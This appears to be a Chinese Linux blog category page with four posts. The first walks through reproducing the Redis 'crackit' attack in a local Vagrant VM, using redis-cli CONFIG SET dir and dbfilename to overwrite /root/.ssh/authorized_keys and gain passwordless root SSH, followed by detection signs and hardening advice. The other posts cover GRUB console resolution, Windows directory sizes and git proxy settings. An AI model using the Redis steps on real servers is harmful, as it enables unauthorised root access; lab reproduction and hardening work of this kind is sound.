Fork me on GitHub

分类 Linux 下的文章

Redis crackit 漏洞尝试

最近爆出来的 Redis crackit 漏洞一直沸沸扬扬,趁着周末的时间研究了一下。研究之余不免感叹,这个漏洞简单粗暴,甚至可以说没有任何技术含量,却能对全球网络造成瘫痪之势,一夜之间几万台服务器接连沦陷。纵观这个漏洞的各个关键点,几乎都是由于配置疏忽导致的,可见运维同学还是任重而道远啊。

一、准备工作

<span style="color:red">网络入侵是违法行为,请在虚拟环境下进行本次实验!</span>

为了在本地进行实验,首先,我们需要有一台安装了 redis-server 的虚拟机,我们使用 Vagrant 自带的 hashicorp/precise32 镜像,虚拟机启动好之后,使用 vagrant ssh 连接。

$ vagrant init hashicorp/precise32
$ vagrant up
$ vagrant ssh

由于新的镜像中默认并没有 redis-server ,我们先要安装并启动它。这里要注意,vagrant 默认使用的用户名是 vagrant 用户,而不是 root 用户,需要使用下面的命令,切换到 root 用户,并使用 passwd 命令给 root 用户设置一个密码:

vagrant@precise32:~$ sudo su -
root@precise32:~# passwd

root 用户设置好之后,安装 redis-server:

root@precise32:~# apt-get install redis-server

运行 redis-server:

root@precise32:~# redis-server /etc/redis/redis.conf

至此,准备工作就绪,确保实验环境的 redis-server 已启动,并且是以 root 用户运行的:

redis.png

二、折腾下 vagrant ssh

这里还有一点要注意,因为刚刚是使用 vagrant ssh 连接的虚拟机,和真实环境下使用 ssh 命令还是有所区别,为了使用 ssh 连接虚拟机,需要弄明白 vagrant ssh 的实现原理。我们通过 vagrant ssh-config 命令查看下 vagrant ssh 配置:

$ vagrant ssh-config
Host default
  HostName 127.0.0.1
  User vagrant
  Port 2222
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
  IdentitiesOnly yes
  LogLevel FATAL

我们再看下 ssh 命令的 man 手册:

ssh-o.png

看看 vagrant 的这个配置,和 ssh-o 选项完全一样。实际上,vagrant 正是通过 ssh-o 或者 -F 来设置参数的。

我们将 vagrant ssh-config 导入到配置文件中:

$ vagrant ssh-config > vagrant-ssh

然后通过 ssh-F 参数,来连接虚拟机:

$ ssh -F vagrant-ssh root@default

或者使用 -o 指定参数:

$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default

这个时候,我们就可以通过 ssh 来连接虚拟机了。这个步骤对于我们最后的成功入侵至关重要。

三、还原漏洞现场

做了这么多的铺垫,实际上真正的入侵只有下面几步:

3.1 生成 rsa 公钥和私钥

首先通过 ssh-keygen -t rsa 命令生成一对密钥文件(id_rsa 和 id_rsa.pub)

$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... .     |
|  oo+X=.. o      |
|  o++o.E . .     |
|  +o  ..  o      |
| ..o .  S. +     |
| .... .=o.+      |
|..  o o=* .      |
|o  . ..+oo       |
| .     ..        |
+----[SHA256]-----+

3.2 给公钥文件加上换行

由于生成的公钥文件只有一行,我们在前后加上几个空行。

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo

3.3 将公钥写入 redis

通过联合 catredis-cli-x 参数将公钥文件写到对方 redis 缓存里。这个地方要注意,如果对方的 redis 缓存不为空,需要使用 flushall 命令清空缓存。

<span style="color:red">请确保缓存中没有重要数据,清空之前请慎重!</span>

$ cat foo | redis-cli -h default -x set crackit

3.4 将公钥保存到对方的 /root/.ssh 目录

然后是攻击最后一步,也是最重要的一步!将公钥保存到对方的 .ssh 目录的 authorized_keys 文件!

这里假设了 redis-server 是以 root 身份运行的,并且对方机器上存在 /root/.ssh 目录。如果不是以 root 身份运行的,这里就需要猜用户名了。

$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK

3.5 验收

如果一切顺利,对方服务器上的公钥文件已经被成功篡改了。那么使用我们刚刚创建的私钥(使用 ssh-i 选项),可以无需密码即可连接对方机器:

$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~# 

三、判断自己有没有中枪

如果出现以下情况,则说明很有可能你已经中枪:

  1. 缓存被莫名清空
  2. 缓存中多了一个 crackit (或其他类似的)键
  3. 使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
  4. /.ssh/authorized_keys 文件有被篡改的痕迹
  5. 服务器上运行着不明进程

四、如何修复漏洞

纵观整个攻击流程,之所以很顺利,都是因为 redis-server 的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。

  1. 修改 redis 的 bind 参数,不要 bind 0.0.0.0,让 redis 服务只能内网访问
  2. 修改 redis 的 requirepass 参数,访问 redis 增加密码认证
  3. 修改 redis 的 port 参数,不要使用默认的 6379 端口号
  4. 修改 redis 的 rename-command 参数,将 CONFIG 设置为 "" ,也就是禁用 CONFIG 命令
  5. 以非 root 用户运行 redis 服务
  6. 升级最近版 redis,(最新版的 redis 已经部分修复了该问题,默认 bind 127.0.0.1,并以 redis 用户运行的)

参考

  1. redis crackit安全事件分析
  2. 【安全公告】Redis Crackit 入侵事件通告
  3. Redis 未授权访问配合 SSH key 文件利用分析
  4. What does “vagrant ssh” actually do?
扫描二维码,在手机上阅读!

修改 GRUB 文本模式的分辨率

最近将系统升级到了 Ubuntu 15.04 ,它的开机过程由 GRUB2 引导,我很喜欢将开机过程设置成文本模式,这样可以很清楚的看到它开机的时候都在干什么。设置文本模式其实很简单,只需打开 /etc/default/grub 文件,修改 GRUB_CMDLINE_LINUX_DEFAULT 参数为 text 即可:

#GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX_DEFAULT="text"

修改完后记得使用 update-grub2 更新:

sudo update-grub2

但是在重启的时候我们会发现文本模式的分辨率非常低(看上去应该是 640x480),字体显得非常大,看起来很不爽。Google 后发现很多人讲到这个问题,但是网上的很多信息已经过时了甚至是错误的,特此记录一下。

其实 GRUB 是支持设置文本分辨率的,也就是所谓的 framebuffer resolution ,这篇文章介绍了如何设置 framebuffer resolution 的技巧。设置方法是在 /etc/default/grub 文件中添加如下两行代码:

GRUB_GFXMODE=1024x768x32
GRUB_GFXPAYLOAD_LINUX=keep

注意的是,显卡需要支持 VBE (VESA BIOS Extensions),设置的分辨率必须在 VBE 允许的范围内。在老版本的 Ubuntu 中可以通过 hwinfo 来查看显卡支持的分辨率,但是 Ubuntu 15.04 中貌似已经废弃掉该工具了。可以通过重启机器,长按 Shift 键进入 GRUB 菜单,而后按 C 键进入 GRUB 命令行,使用 GRUB 自带的 vbeinfo 命令来查看你的显卡所有支持的分辨率。

另外网上有些资料说通过设置 GRUB_GFXMODEGRUB_GFXPAYLOAD 两个参数来修改分辨率,但是经过我的测试似乎没有效果, GRUB_GFXPAYLOAD 这个参数在 Ubuntu 15.04 中也已经弃用了,所以应该使用 GRUB_GFXPAYLOAD_LINUX 参数。

参考

  1. How do I increase console-mode resolution?
  2. How to set the resolution in text consoles (troubleshoot when any `vga=…` fails)
  3. GRUB/Tips and tricks
扫描二维码,在手机上阅读!

在 Windows 命令行下显示目录的大小

我们知道在 Linux 系统下使用 du 命令可以很方便的查看某个目录的大小,甚至也可以列出某个目录下的所有子目录的大小。这在查找大文件时非常方便,因为有时候我们会遇到这种情况,譬如,磁盘空间快满了,我们知道 /home/apps 目录非常大,而这个目录下面又有着几十个不同的子目录,我们希望能知道每个子目录的大小以方便我们找到是哪个目录最占空间,那么怎么能快速找到最占空间的子目录呢?

在 Linux 系统下,我们使用下面的 du 命令显示当前目录的总大小:

du -sh .

也可以像下面这样,显示当前目录下的所有一级子目录的大小:

du -h --max-depth=0 .

可以看到在 Linux 下是非常方便的,而在 Windows 下就没有原生的工具可以很方便的实现这一点了。Windows Sysinternals Suite 提供了一个类似于 Linux 下的 du 命令的小工具 Disk Usage,命令的语法稍微有些不同,你可以查看下这个工具的使用文档。

借助外界的工具肯定是可以实现这个功能的,但是也可以直接在 Windows 命令行下不依赖于第三方工具来实现,譬如,使用下面的 PowerShell 命令:

Get-ChildItem -Recurse | Measure-Object -Sum Length

Get-ChildItem 命令用于遍历目录下的所有子目录和文件,类似于 dir 命令,使用 -Recurse 参数可以实现递归遍历。
Measure-Object 命令常作用于管道,对管道的结果进行统计操作,譬如:计数、求和、平均数、最大数、最小数等等。

PowerShell 的命令总给人一种怪怪的感觉,不过它也提供了简写的语法:

ls -r | measure -s Length

看起来比上面的要舒服多了。或者直接在命令行 cmd 下执行:

powershell -noprofile -command "ls -r | measure -s Length"

如果不习惯 PowerShell 这种重量级的命令,也可以直接在命令行 cmd 下使用 for 命令实现,不过要借助一个中间变量,譬如将下面的代码复制到一个批处理文件中:

@echo off
set size=0
for /r %%x in (folder\*) do set /a size+=%%~zx
echo %size% Bytes

在 Windows 命令行下,for绝对是最复杂的命令,没有之一。让我们来解析下上面的那句命令:

for /r 表示递归的遍历一个目录下的所有文件。它的语法是这样:FOR /R [[drive:]path] %%parameter IN (set) DO command,所以其中的 %%x 是我们定义的一个参数,表示目录下的某个文件。注意,在批处理文件中必须要使用两个%%,如果是在命令行下尝试该命令的话,则只需要一个%就可以了。
do 之后的部分是我们针对每个参数(在这里也就是对每个文件)执行的操作。set 命令可以用于显示、设置或删除某个变量的值,set /a 用于对变量进行数学表达式运算(arithmetic expressions),在这里我们使用 += 来对文件大小进行累加。
最后一个是 %%~zx ,这里的 %%x 是就是上面的 x 参数,但是中间添加了 ~z 这样的特殊符号,这被称为 参数扩展(Parameter Extensions),表示对应的文件大小,另外还有很多其他有用的扩展,如 ~n 表示不带扩展的文件名,~x 表示文件的扩展名,~t 表示文件的时间 等等。和参数扩展类似的,还有两个与字符串变量相关的操作:字符串替换(Variable Replace) 和 字符串截取(Variable Substring),在 Windows 批处理中经常会遇到,也可以一起了解下。

不过要特别注意的是,在 Windows 的 cmd 下面,数字类型为 32 位的符号整型,所以最多支持到 2GB 大小的目录,超出 2GB 的结果可能会变成负数。所以最好的做法还是使用上面的 PowerShell 命令。

参考

  1. du 命令
  2. Windows command line get folder size
  3. CMD命令行高级教程精选合编
  4. For - Looping commands | Windows CMD
  5. For /R - Loop through sub-folders | Windows CMD
  6. Set - Environment Variable | Windows CMD
  7. Parameters / Arguments | Windows CMD
  8. Variable substring | Windows CMD
  9. CMD Variable edit replace | Windows CMD
扫描二维码,在手机上阅读!

git clone 太慢怎么办?

Git 和 GitHub 的出现打开了开源世界的另一扇大门,版本控制变得更强大(也更复杂),项目的管理变得更加容易,项目的开发也变得更容易进行多人协作。GitHub 无疑是程序员的 Facebook ,在这里汇聚了无数世界顶级的项目以及顶级的程序员,你可以为你感兴趣的项目加星(Star),可以关注任何人(Follow)以及他们的项目(Watch),而且更赞的是,你可以复制一份别人项目的副本(Fork),来进行自己的修改,如果你愿意的话,你还可以向项目的原作者发起请求(Pull Request),将你做的修改合并到原项目中。这样无论你是什么人,来自不同的国家,拥有不同的技能,都可以对所有开源的项目作出贡献。

尽管上面描述的开源世界如此美好,但是在大天朝,在墙内,你却完全无法领略。因为当你访问 GitHub 时,或者使用 git clone 兴致勃勃的下载你感兴趣的项目时,巨慢的速度将彻底击毁你的信心,最终只好放弃表示玩不起。

git-slower.png

强大的长城技术对 GitHub 网开一面,没有像 Google 或 Facebook 这样直接斩尽杀绝,但是对它做了严格的限速,这种折磨比直接毙了更痛苦(有网友表示,有些地区速度很快,有些地区速度很慢,也有可能是和网络运营商有关)。如上图所示,git clone 的下载速度从来没有超过 10KiB/s ,这也就意味着一个 100MiB 的项目,需要近三个小时才能下完,而且由于网络的不稳定性,下载过程中偶尔会出现断开连接的情况,由于 git clone 不支持断点续传,这让几个小时的下载时间白白浪费掉,只能重新开始。

这篇文章将介绍几种方法来快速从 GitHub 上下载代码。

一、git shallow clone

git clone 默认会下载项目的完整历史版本,如果你只关心最新版的代码,而不关心之前的历史信息,可以使用 git 的浅复制功能:

$ git clone --depth=1 https://github.com/bcit-ci/CodeIgniter.git

--depth=1 表示只下载最近一次的版本,使用浅复制可以大大减少下载的数据量,例如,CodeIgniter 项目完整下载有近 100MiB ,而使用浅复制只有 5MiB 多,这样即使在恶劣的网络环境下,也可以快速的获得代码。如果之后又想获取完整历史信息,可以使用下面的命令:

$ git fetch --unshallow

或者,如果你只是想下载最新的代码看看,你也可以直接从 GitHub 上下载打包好的 ZIP 文件,这比浅复制更快,因为它只包含了最新的代码文件,而且是经过 ZIP 压缩的。但是很显然,浅复制要更灵活一点。

二、GUI 工具 + 代理

如果很有幸你正在使用代理,懂得如何翻墙的话,那么访问 GitHub 对你来说应该不在话下。下载 GitHub 上项目的最简单的方法就是使用一款图形化界面(GUI)的 Git 工具,这样的工具现在比比皆是。使用 GUI 工具方便的地方在于,可以在设置中配置是否要使用代理,将你翻墙所使用的代理 IP 拿过来配置上就 OK 了,或者更直接的,将代理配置为系统代理。

三、git + http.proxy

如果你跟我一样,喜欢使用原生的 git 命令,喜欢在命令行下操作的那种感觉,那么也可以在命令行下直接配置 git 使用代理,当然前提一样是,你懂得如何翻墙。

$ git config --global http.proxy http://proxyuser:proxypwd@proxy.server.com:8080
$ git config --global https.proxy https://proxyuser:proxypwd@proxy.server.com:8080

使用上面的命令配置完之后,会在 ~/.gitconfig 文件中多出几行:

[http]
    proxy = http://proxyuser:proxypwd@proxy.server.com:8080
[https]
    proxy = https://proxyuser:proxypwd@proxy.server.com:8080

你也可以使用下面的命令检查配置是否生效:

$ git config --global --get http.proxy
$ git config --global --get https.proxy

另外,如果你想取消该设置,可以:

$ git config --global --unset http.proxy
$ git config --global --unset https.proxy

配置完成后,重新 clone 一遍,可以看到速度得到了极大的提升!

git-faster.png

题外话:在命令行中如何使用代理?

要注意的是使用 git config --global 配置的代理只能供 git 程序使用,如果你希望让命令行中的其他命令也能自动使用代理,譬如 curl 和 wget 等,可以使用下面的方法:

$ export http_proxy=http://proxyuser:proxypwd@proxy.server.com:8080
$ export https_proxy=https://proxyuser:proxypwd@proxy.server.com:8080

这样配置完成后,所有命令行中的 HTTP 和 HTTPS 请求都会自动通过代理来访问了。如果要取消代理设置,可以:

$ unset http_proxy
$ unset https_proxy

还有一点要注意的是,使用 http_proxy 和 https_proxy 只对 HTTP 和 HTTPS 请求有效,所以当你 ping www.google.com 的时候如果 ping 不通的话,也就没什么大惊小怪的了。

题外话:如何使用 PAC 文件?

有时候我们会使用 git 访问不同的 git 仓库,譬如 GitHub,或者 Git@OSC, 或者你自建的 Git 服务器,但是只想访问 GitHub 的时候使用代理,访问其他的仓库不要使用代理。这时候我们似乎可以使用 PAC 来解决这个问题。PAC (代理自动配置)正是用于浏览器来根据不同的 URL 自动采用不同的代理的一项技术,该文件包含一个 FindProxyForURL Javascript 函数,用于根据 URL 来返回不同的代理。

但是遗憾的是,目前 git 似乎还不支持 PAC 文件,但我们可以打开 PAC 文件找到代理的地址,然后通过上面的方法来配置或取消配置,只是有些繁琐。也许可以写个脚本来解析 PAC 文件,并将 git 包装下,来实现自动切换代理,有机会尝试下。

四、其他方法

网上还提供了很多其他的方法,但是我暂未尝试过,且记录一下:

  • ssh tunnel 或者 shadowsocks
  • ss + proxychains
  • 使用境外的 VPS
  • powerpac
  • VPN

参考

  1. git clone 太慢怎么办?
  2. How do I pull from a Git repository through an HTTP proxy?
  3. Getting git to work with a proxy server
  4. 代理自动配置 - 维基百科
扫描二维码,在手机上阅读!